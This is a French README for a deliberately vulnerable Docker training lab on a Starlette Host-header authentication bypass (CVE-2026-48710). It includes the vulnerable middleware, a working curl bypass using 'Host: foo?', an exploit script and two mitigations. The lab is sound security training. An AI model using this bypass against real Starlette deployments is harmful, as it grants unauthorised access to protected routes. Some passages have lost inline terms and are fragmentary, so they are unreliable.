
Lab de confusion d'URL Host-Header de Starlette (X41-2026-002) - CVE-2026-48710
Un laboratoire de formation autonome et conteneurisé reproduisant la vulnérabilité de contournement d'authentification de Starlette divulguée par X41 D-Sec.
>= 0.8.3, < 1.0.1 (le laboratoire utilise 0.37.2)1.0.1⚠️ Réservé à une formation en sécurité autorisée. Cette application est volontairement vulnérable. Ne la déployez sur aucun réseau accessible.
Starlette achemine une requête vers une route en utilisant le scope["path"] ASGI brut, mais il reconstruit en formatant l'en-tête fourni par le client dans — conformément à la RFC 9112 §3.2. Comme les métacaractères d'URL (, , ) sont autorisés tels quels, un attaquant peut faire en sorte que le chemin diffère du chemin . Toute vérification de sécurité écrite sur peut alors être trompée tandis que le routeur atteint toujours le gestionnaire protégé.
request.urlHost"{scheme}://{host}{path}"Host?/#request.url.pathLe middleware vulnérable autorise la requête uniquement lorsque request.url.path est / ou vide :
if request.url.path in ("/", ""):
return await call_next(request) # allowed
return PlainTextResponse("Forbidden", status_code=403)
Envoyez Host: foo? avec GET /admin :
| Composant | Valeur utilisée |
|---|---|
Routeur (scope["path"]) | /admin → achemine vers admin() |
request.url | http://foo?/admin |
request.url.path | "" → passe le contrôle d'authentification ✅ |
Le ? transforme tout ce qui le suit en chaîne de requête, de sorte que le chemin analysé est vide. L'authentification voit un chemin vide et le laisse passer ; le routeur sert toujours /admin. Contournement réussi.
Nécessite Docker + Docker Compose.
docker compose up --build
Deux services démarrent :
| Service | URL | Comportement |
|---|---|---|
vulnerable | http://localhost:8000 | contournable |
fixed | http://localhost:8001 | atténué (deux manières) |
# Blocked normally:
curl -i http://localhost:8000/admin # 403 Forbidden
# Bypass via Host header injection:
curl -i -H 'Host: foo?' http://localhost:8000/admin # 200 OK + FLAG{...}
Ou lancez le script PoC guidé :
./exploit/exploit.sh # attacks :8000 (succeeds)
./exploit/exploit.sh 8001 # attacks :8001 (fails — fixed)
Le gestionnaire /admin vulnérable renvoie un corps JSON qui rend la confusion visible — notez que scope_path et reconstructed_path diffèrent :
{
"secret": "FLAG{host_header_url_confusion}",
"scope_path": "/admin",
"reconstructed_url": "http://foo?/admin",
"reconstructed_path": "",
"host_header": "foo?"
}
Voir fixed/fixed_app.py. Deux atténuations indépendantes :
request.scope["path"] — le même chemin brut utilisé par le routeur — plutôt que sur le request.url.path reconstruit.TrustedHostMiddleware rejette les en-têtes Host inattendus ou malformés avant que toute logique applicative ne s'exécute, imitant ce qu'un proxy inverse conforme à la RFC (nginx/Apache) fait en amont.Le correctif réel est simplement de passer à Starlette ≥ 1.0.1, qui valide l'en-tête Host lors de la reconstruction de l'URL.
redirect_uri, clés de cache, liens de réinitialisation de mot de passe construits à partir du Host.)/admin) est-il plus fragile ici que « décider sur la route ciblée » ? Et si le routage est insensible à la casse ou comporte des redirections avec slash final ?0.0.0.0-day.)starlette-host-header-lab/
├── app/vulnerable_app.py # the deliberately vulnerable service
├── fixed/fixed_app.py # mitigated service for comparison
├── exploit/exploit.sh # guided proof-of-concept
├── requirements.txt # pins Starlette 0.37.2 (vulnerable)
├── Dockerfile
├── docker-compose.yml
└── README.md